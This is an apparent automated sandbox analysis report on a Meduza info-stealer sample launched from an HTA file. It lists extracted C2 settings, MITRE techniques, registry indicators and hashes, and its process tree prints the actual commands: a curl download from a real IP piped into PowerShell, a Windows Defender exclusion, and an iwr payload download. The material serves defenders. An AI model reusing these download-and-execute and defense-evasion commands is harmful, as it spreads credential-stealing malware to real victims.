meduza | 054a6b8b84efa1127eca70abdba55e0f59fc96157504e5c9dcf0d6ff8386717f

General

Target

054a6b8b84efa1127eca70abdba55e0f59fc96157504e5c9dcf0d6ff8386717f.hta
Size

551B
MD5

4041595b42e7b6e2ce5965cb76ea7da1
SHA1

401723ee1ac651ad359b89dd7e3cefea91d6aaa9
SHA256

054a6b8b84efa1127eca70abdba55e0f59fc96157504e5c9dcf0d6ff8386717f
SHA512

84cfba05772a5adfef0ddfe65bda07d8b908c16de04ea60942338c49a98db625801a986fd999740f61c62650b6e8ebb7f6056e76fe8656d09207f4cf9ffe7c19

Score

10^/10

meduza collection discovery execution spyware stealer

Malware Config

Extracted

Family

meduza

C2

193.3.19.151

Attributes

anti_dbg
true
anti_vm
true
build_name
hdont
extensions
.txt
grabber_max_size
4.194304e+06
port
15666
self_destruct
false

Signatures

Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 1 IoCs

resource	yara_rule
behavioral2/files/0x0008000000023cb8-93.dat	family_meduza

Meduza family
meduza

Blocklisted process makes network request 2 IoCs

flow	pid	Process
16	2644	powershell.exe
19	3044	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4324	powershell.exe
2644	powershell.exe
3044	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	hcrzecmm.tv4.exe

Executes dropped EXE 2 IoCs

pid	Process
1700	Launcher.exe
2268	hcrzecmm.tv4.exe

Loads dropped DLL 3 IoCs

pid	Process
1700	Launcher.exe
1700	Launcher.exe
1700	Launcher.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	hcrzecmm.tv4.exe
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	hcrzecmm.tv4.exe
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	hcrzecmm.tv4.exe
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	hcrzecmm.tv4.exe
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	hcrzecmm.tv4.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	api.ipify.org
22	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000000-0000-0000-0000-000000000000}\AppID = "{00000000-0000-0000-0000-000000000000}"	Launcher.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{00000000-0000-0000-0000-000000000000}	Launcher.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{00000000-0000-0000-0000-000000000000}\ = "{00000000-0000-0000-0000-000000000000}"	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{00000000-0000-0000-0000-000000000000}\LaunchPermission = 01000480640000008000000000000000140000000200500003000000000014000100000001010000000000050400000000001800010000000102000000000005200000002002000000001400010000000101000000000005120000000000002009000000010500000000000515000000a9fce1df98620cba7133e4fee8030000010500000000000515000000a9fce1df98620cba7133e4fe01020000	Launcher.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000000-0000-0000-0000-000000000000}	Launcher.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2644	powershell.exe
2644	powershell.exe
4324	powershell.exe
4324	powershell.exe
3044	powershell.exe
3044	powershell.exe
2268	hcrzecmm.tv4.exe
2268	hcrzecmm.tv4.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	4324	powershell.exe
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	2268	hcrzecmm.tv4.exe
Token: SeImpersonatePrivilege	2268	hcrzecmm.tv4.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1700	Launcher.exe
1700	Launcher.exe
1700	Launcher.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 540 wrote to memory of 3848	540	mshta.exe	82
PID 540 wrote to memory of 3848	540	mshta.exe	82
PID 540 wrote to memory of 3848	540	mshta.exe	82
PID 3848 wrote to memory of 1508	3848	cmd.exe	84
PID 3848 wrote to memory of 1508	3848	cmd.exe	84
PID 3848 wrote to memory of 1508	3848	cmd.exe	84
PID 3848 wrote to memory of 2644	3848	cmd.exe	85
PID 3848 wrote to memory of 2644	3848	cmd.exe	85
PID 3848 wrote to memory of 2644	3848	cmd.exe	85
PID 2644 wrote to memory of 1700	2644	powershell.exe	86
PID 2644 wrote to memory of 1700	2644	powershell.exe	86
PID 2644 wrote to memory of 1700	2644	powershell.exe	86
PID 1700 wrote to memory of 4324	1700	Launcher.exe	87
PID 1700 wrote to memory of 4324	1700	Launcher.exe	87
PID 1700 wrote to memory of 4324	1700	Launcher.exe	87
PID 1700 wrote to memory of 3044	1700	Launcher.exe	92
PID 1700 wrote to memory of 3044	1700	Launcher.exe	92
PID 1700 wrote to memory of 3044	1700	Launcher.exe	92
PID 1700 wrote to memory of 2268	1700	Launcher.exe	96
PID 1700 wrote to memory of 2268	1700	Launcher.exe	96

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	hcrzecmm.tv4.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	hcrzecmm.tv4.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\054a6b8b84efa1127eca70abdba55e0f59fc96157504e5c9dcf0d6ff8386717f.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:540
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3848
- - C:\Windows\SysWOW64\curl.exe
    curl -s http://147.45.47.15/script.ps1
    3⤵
    PID:1508
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command -
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\Windows\Temp\Launcher.exe
      "C:\Windows\Temp\Launcher.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1700
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4324
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\hcrzecmm.tv4.exe'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3044
    - - C:\Windows\Temp\hcrzecmm.tv4.exe
        
        "C:\Windows\Temp\hcrzecmm.tv4.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Accesses Microsoft Outlook profiles
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:2268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
c580727fc0a7a733ea6a446b67ca63f7

SHA1
ebdd57fca25df0f759dec07c5382d560df7600c2

SHA256
369ef9ccfc9923d44f390840e46cc948796bb79bec86644402608e9a8af80073

SHA512
2a1aba5dfe194d53ce71cafb94d147999968aa0a7e5bd1db069da62ab3e06f475af77c258532647dcb7370f4e12c188b99624fc5a9c7c44f196c98e9d2b12733

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
350ce78d55c43d466af4b0c11ff4e3f5

SHA1
0299816e38f43547b5ec15c3c1b241da2d8ee334

SHA256
9355f0f40f0a09695283e892839f63c532888d4e392b53da0cfb139f200df280

SHA512
abe34610cff84ca057e86dd73d92891ff0769bb8e9e282a56b8a11d7288c06e0398196775fdf55f8cf2d56b7f9edd4df01b773837f6e7066ceec207c62010a57

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xz3zacof.ytv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\Launcher.exe

Filesize
201KB

MD5
2696d944ffbef69510b0c826446fd748

SHA1
e4106861076981799719876019fe5224eac2655c

SHA256
a4f53964cdddcccbd1b46da4d3f7f5f4292b5dd11c833d3db3a1e7def36da69a

SHA512
c286bc2da757cbb2a28cf516a4a273dd11b15f674d5f698a713dc794f013b7502a8893ab6041e51bab3cdd506a18c415b9df8483b19e312f8fcb88923f42b8eb

Download Submit
C:\Windows\Temp\hcrzecmm.tv4.exe

Filesize
1.2MB

MD5
c6813da66eba357d0deaa48c2f7032b8

SHA1
6812e46c51f823ff0b0ee17bfce0af72f857af66

SHA256
1420f60f053c3ea5605239ee431e5f487245108b1c01be75d16b5246156fa178

SHA512
19391c6b12ba8f34a5faf326f8986ef8de4729d614d72bf438c6efa569b3505159ca55f580fe2a02642e5e7a0f1b38a7a9db9f0d66d67ba548d84c230183159e

Download Submit
C:\Windows\Temp\iviewers.dll

Filesize
6KB

MD5
e017be56699801dc89a8d6d1724eb633

SHA1
a7f7aae4744210db8ebaf4da06c167357bc71eca

SHA256
aa6b0863022bda1e0c263a75ae2896fe473d3bf57a76efc258b3afec8c157564

SHA512
2368425dadc7f22eb11532359d4d1aa97bf3e381f4fd7b62c587e1f8819ef64a0ff7fc75cc5948939fadebc423345ab65a1cd2799bb4136fbea89d1f75dfc8c8

Download Submit
memory/1700-46-0x0000000075670000-0x000000007567A000-memory.dmp

Filesize
40KB

Download
memory/1700-45-0x0000000004B80000-0x0000000004B8A000-memory.dmp

Filesize
40KB

Download
memory/2644-18-0x0000000006770000-0x00000000067BC000-memory.dmp

Filesize
304KB

Download
memory/2644-2-0x0000000074E20000-0x00000000755D0000-memory.dmp

Filesize
7.7MB

Download
memory/2644-0-0x0000000074E2E000-0x0000000074E2F000-memory.dmp

Filesize
4KB

Download
memory/2644-19-0x0000000006CB0000-0x0000000006CF4000-memory.dmp

Filesize
272KB

Download
memory/2644-20-0x0000000007A30000-0x0000000007AA6000-memory.dmp

Filesize
472KB

Download
memory/2644-21-0x0000000008130000-0x00000000087AA000-memory.dmp

Filesize
6.5MB

Download
memory/2644-22-0x0000000007AB0000-0x0000000007ACA000-memory.dmp

Filesize
104KB

Download
memory/2644-25-0x0000000007EE0000-0x0000000007F76000-memory.dmp

Filesize
600KB

Download
memory/2644-26-0x0000000007E80000-0x0000000007EA2000-memory.dmp

Filesize
136KB

Download
memory/2644-27-0x0000000008D60000-0x0000000009304000-memory.dmp

Filesize
5.6MB

Download
memory/2644-16-0x0000000006240000-0x0000000006594000-memory.dmp

Filesize
3.3MB

Download
memory/2644-40-0x0000000074E20000-0x00000000755D0000-memory.dmp

Filesize
7.7MB

Download
memory/2644-5-0x0000000006060000-0x00000000060C6000-memory.dmp

Filesize
408KB

Download
memory/2644-6-0x00000000060D0000-0x0000000006136000-memory.dmp

Filesize
408KB

Download
memory/2644-4-0x0000000005750000-0x0000000005772000-memory.dmp

Filesize
136KB

Download
memory/2644-17-0x0000000006730000-0x000000000674E000-memory.dmp

Filesize
120KB

Download
memory/2644-1-0x0000000003130000-0x0000000003166000-memory.dmp

Filesize
216KB

Download
memory/2644-3-0x0000000005850000-0x0000000005E78000-memory.dmp

Filesize
6.2MB

Download
memory/3044-84-0x0000000006120000-0x0000000006474000-memory.dmp

Filesize
3.3MB

Download
memory/3044-90-0x0000000006D00000-0x0000000006D4C000-memory.dmp

Filesize
304KB

Download
memory/4324-74-0x0000000007D30000-0x0000000007D3E000-memory.dmp

Filesize
56KB

Download
memory/4324-71-0x0000000006DE0000-0x0000000006E83000-memory.dmp

Filesize
652KB

Download
memory/4324-72-0x0000000007B70000-0x0000000007B7A000-memory.dmp

Filesize
40KB

Download
memory/4324-73-0x0000000007D00000-0x0000000007D11000-memory.dmp

Filesize
68KB

Download
memory/4324-59-0x0000000006D90000-0x0000000006DC2000-memory.dmp

Filesize
200KB

Download
memory/4324-75-0x0000000007D40000-0x0000000007D54000-memory.dmp

Filesize
80KB

Download
memory/4324-76-0x0000000007E40000-0x0000000007E5A000-memory.dmp

Filesize
104KB

Download
memory/4324-77-0x0000000007E20000-0x0000000007E28000-memory.dmp

Filesize
32KB

Download
memory/4324-70-0x0000000006D70000-0x0000000006D8E000-memory.dmp

Filesize
120KB

Download
memory/4324-58-0x00000000067F0000-0x000000000683C000-memory.dmp

Filesize
304KB

Download
memory/4324-60-0x0000000071940000-0x000000007198C000-memory.dmp

Filesize
304KB

Download
memory/4324-53-0x00000000061D0000-0x0000000006524000-memory.dmp

Filesize
3.3MB

Download

Analysis

Sharing